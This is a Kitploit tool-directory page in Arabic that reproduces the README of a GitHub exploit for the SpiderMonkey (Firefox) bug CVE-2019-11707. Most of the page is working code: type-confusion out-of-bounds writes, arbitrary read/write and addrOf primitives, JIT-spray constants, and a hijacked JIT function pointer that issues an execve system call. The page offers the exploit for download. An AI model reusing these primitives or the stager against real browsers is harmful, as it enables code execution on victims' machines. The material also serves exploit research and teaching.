Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2019-11707 — https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 | Kitploit
أدوات/GitHubGitHub/flabbergastedbd/cve-2019-11707
تحليل الثغرات الأمنيةالاستغلالشيل كوداستغلال تطبيقات الويبتوليد شيفرة القشرةتطوير الحمولاتاستغلال الملفات الثنائية
GitHubflabbergastedbd/cve-2019-11707

cve-2019-11707

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

عرض المستودع
22منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

SpiderMonkey - CVE-2019-11707

الخلل: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

لقطات الشاشة

source

exploit

الملفات

  • exploit.js - الاستغلال الفعلي، مسبوقًا بـ util.js و Int64.js الخاصين بـ saelo.
  • stager.js - يُستخدم لإنشاء الثوابت، مسبوقًا بـ util.js و Int64.js الخاصين بـ saelo.
  • stager.py - يُستخدم لتجميع التعليمات باستخدام keystone. يُمرَّر خرجه إلى stager.js.

نظرة عامة على الاستغلال

  • استخدم الالتباس النوعي (type confusion) للكتابة خارج مخزن مؤقت لمصفوفة typed array (يتم ذلك في setup()).
root@kitploit:~
const exploit_pack = [
  new Uint8Array(0x10),
  new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
  new Uint8Array(0x10), // Arbitrary RW array
]
  • باختصار: اكتب خارج المخزن المؤقت الخلفي لـ exploit_pack[0] إلى حقل مؤشر البيانات الخاص بـ exploit_pack[1]. وجّهه إلى عنوان حقل مؤشر البيانات الخاص بـ exploit_pack[2].
root@kitploit:~
      // setup()
      const v11 = v4.pop();
      const addr = v11[11];
      v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
  • القراءة/الكتابة العشوائية ممكنة، ويمكن ضبط العنوان كمحتويات لـ exploit_pack[1] والذي يعدّل داخليًا مؤشر البيانات الخاص بـ exploit_pack[2]. ثم استخدم exploit_pack[2] لقراءة الذاكرة أو الكتابة فيها.
root@kitploit:~
function read(ptr) {
  read_addr = new Int64(ptr);
  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = read_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  // bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function write(ptr, value) {
  let addr = new Int64(ptr);
  let bytes = new Int64(value);

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = addr.byteAt(idx);
  }

  for (var idx=0; idx < 8; idx++) {
    exploit_pack[2][idx] = bytes.byteAt(idx);
  }
}
  • باستخدام exploit_pack نفسه، قم ببناء بدائية addrOf.
root@kitploit:~
function addrOf(obj) {
  exploit_pack[3] = obj;

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = leaking_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}
  • قم برشّ JIT أساسي، وتنقّل عبر بعض البنى للحصول على مؤشر دالة JIT، واعثر على إزاحة مثيرة للاهتمام للقفز. استبدل مؤشر الدالة الفعلي بهذه الإزاحة.

رشّ JIT

  • باختصار، يمكننا فرض دوال مثل التالية في صفحات r-x.
root@kitploit:~
const stager = function (a, b, c, d) {
  const rax = a;
  const rdi = b;
  const rsi = c;
  const rdx = d;

  const g0 = 9.073632937307107e-271;
  const g1 = 1.6063957816990143e-270;
  const g2 = 1.6082444981830348e-270;
  const g3 = 1.6100929890177583e-270;
  const g4 = 1.6119413952339954e-270;
  const g5 = 1.68020602465e-313;
}
  • يبدو هذا شيئًا مثل ما يلي بعد JIT. يمكنك رؤية الثابت الخاص بنا 0xdeadc0debaad.

Actual JIT

root@kitploit:~
gef➤  disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
   0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
   0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
   0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
End of assembler dump.
  • إذا بدأ تحليل نفس البايتات كتعليمات من إزاحة مختلفة مثل ما يلي، يتغير كل شيء. هذا هو جوهر رشّ JIT.

Offset JIT

root@kitploit:~
gef➤  disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
   0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
   0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
End of assembler dump.
  • الفكرة هي التعامل مع البايتات 4c 89 5d XX 49 bb 00 بطريقة ما باستخدام 7 بايتات نتحكم فيها. يمكننا القفز فوق هذه البايتات باستخدام jmp نسبي.
root@kitploit:~
$ rasm2 -a x86 -b 64 "jmp 7"
eb05
  • إذًا، يأخذ الـ jmp النسبي 2 بايت، ويتبقى لدينا 5 بايتات لكتابة تعليمات التجميع الخاصة بنا. معاملات دالة JIT متاحة عند إزاحة على المكدس عندما يتم استدعاء الدالة. لذلك كانت دالة JIT الخاصة بنا تستقبل معاملات.

registers

  • وفقًا لاتفاقية استدعاء X86-64 لاستدعاءات النظام على لينكس، نحتاج إلى الأشياء التالية في السجلات لاستدعاء نظام execve.
root@kitploit:~
rax: syscall number
rdi: program path
rsi: argv
rdx: envp
  • تعليمات mov التالية هي نعمة لنقل القيم من إزاحة على المكدس إلى السجلات المعنية. وهي بالضبط 5 بايتات.
root@kitploit:~
$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
  • لذا، يمكننا بناء الثوابت الخاصة بنا. راجع stager.py -> stager.js لمعرفة كيفية توليدها.

  • فقط استبدل مؤشر دالة JIT الفعلي في بنية الكائن واستبدله بالإزاحة. استدعِ الدالة بالمعاملات.

root@kitploit:~
write(jitGetter, jmpOffset);
stager(
  new Int64(59).asDouble(),
  new Int64(pathAddr).asDouble(),
  new Int64(argvBufferAddr).asDouble(),
  new Int64(environBufferAddr).asDouble());
  • بالنظر إلى طريقة كتابة stager، من السهل تنفيذ أي استدعاء نظام، بثلاث معاملات.

روابط مفيدة جدًا

  • https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
  • https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
  • https://vigneshsrao.github.io/writeup/
  • https://github.com/saelo/jscpwn
تنزيل الأداة